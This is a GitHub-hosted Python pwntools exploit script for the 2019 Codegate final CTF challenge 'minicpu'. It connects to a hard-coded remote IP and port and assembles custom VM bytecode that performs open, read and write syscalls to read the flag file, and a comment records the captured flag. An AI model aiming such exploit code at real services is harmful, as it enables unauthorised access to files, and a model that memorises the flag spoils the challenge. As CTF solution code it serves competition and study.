CTF/2019/codegate-final/minicpu.py at master · yuawn/CTF · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python
from pwn import *

# FLAG{Yeah_CHalleng3_is_EASY_EA@sy}

host , port = '110.10.147.126' , 9091
y = remote( host , port )


# 401E21
# process 0x4089a2

'''

5     3   4    4    16
11111 111 1111 1111 111...
op    sub r1   r2   imm

reg[9] = rsp
reg[10] = rbp
reg[0xe,14] = rip


'''

# 0x401db1


def t( a ):
    return ''.join( hex(ord(_))[2:].rjust(2,'0') for _ in a )

def pac( a ):
    return p32( a )[::-1]

def mov( r1 , r2 , imm = 0 , c = 0 ):
    p = 0xf << 27
    p += ( 5 if c else 3 ) << 24
    p += r1 << 20
    p += r2 << 16
    p += imm
    return pac( p )


def _open( buf ):
    p = mov( 1 , 0 , imm = buf , c = 1 )
    p += mov( 8 , 0 , imm = 1 , c = 1 ) + pac( 0x1e << 27 )
    return p

def _read( fd , buf , l ):
    p = mov( 1  , 0 , imm = fd , c = 1 )
    p += mov( 2  , 0 , imm = buf , c = 1 )
    p += mov( 3  , 0 , imm = l , c = 1 )
    p += mov( 8 , 0 , imm = 2 , c = 1 ) + pac( 0x1e << 27 )
    return p

def _write( fd , buf , l ):
    p = mov( 1  , 0 , imm = fd , c = 1 )
    p += mov( 2  , 0 , imm = buf , c = 1 )
    p += mov( 3  , 0 , imm = l , c = 1 )
    p += mov( 8 , 0 , imm = 3 , c = 1 ) + pac( 0x1e << 27 )
    return p


p = _read( 0 , 0 , 10 )
p += mov( 2 , 0 , imm = 0x7FFC , c = 1 ) + pac( 0x1e << 27 )
p += mov( 8 , 0 , imm = 1 , c = 1 ) + pac( 0x1e << 27 )

p += mov( 1 , 0  )

p += mov( 2 , 0 , imm = 0x20 , c = 1 )
p += mov( 3 , 0 , imm = 0x30 , c = 1 )
p += mov( 8 , 0 , imm = 2 , c = 1 ) + pac( 0x1e << 27 )

p += mov( 1 , 0 , imm = 1 , c = 1 )
p += mov( 8 , 0 , imm = 3 , c = 1 ) + pac( 0x1e << 27 )


print hex( len( t( p ) ) )
print t( p )

y.sendlineafter( '[>] Input ByteCode to Run' , t( p ) )


y.interactive()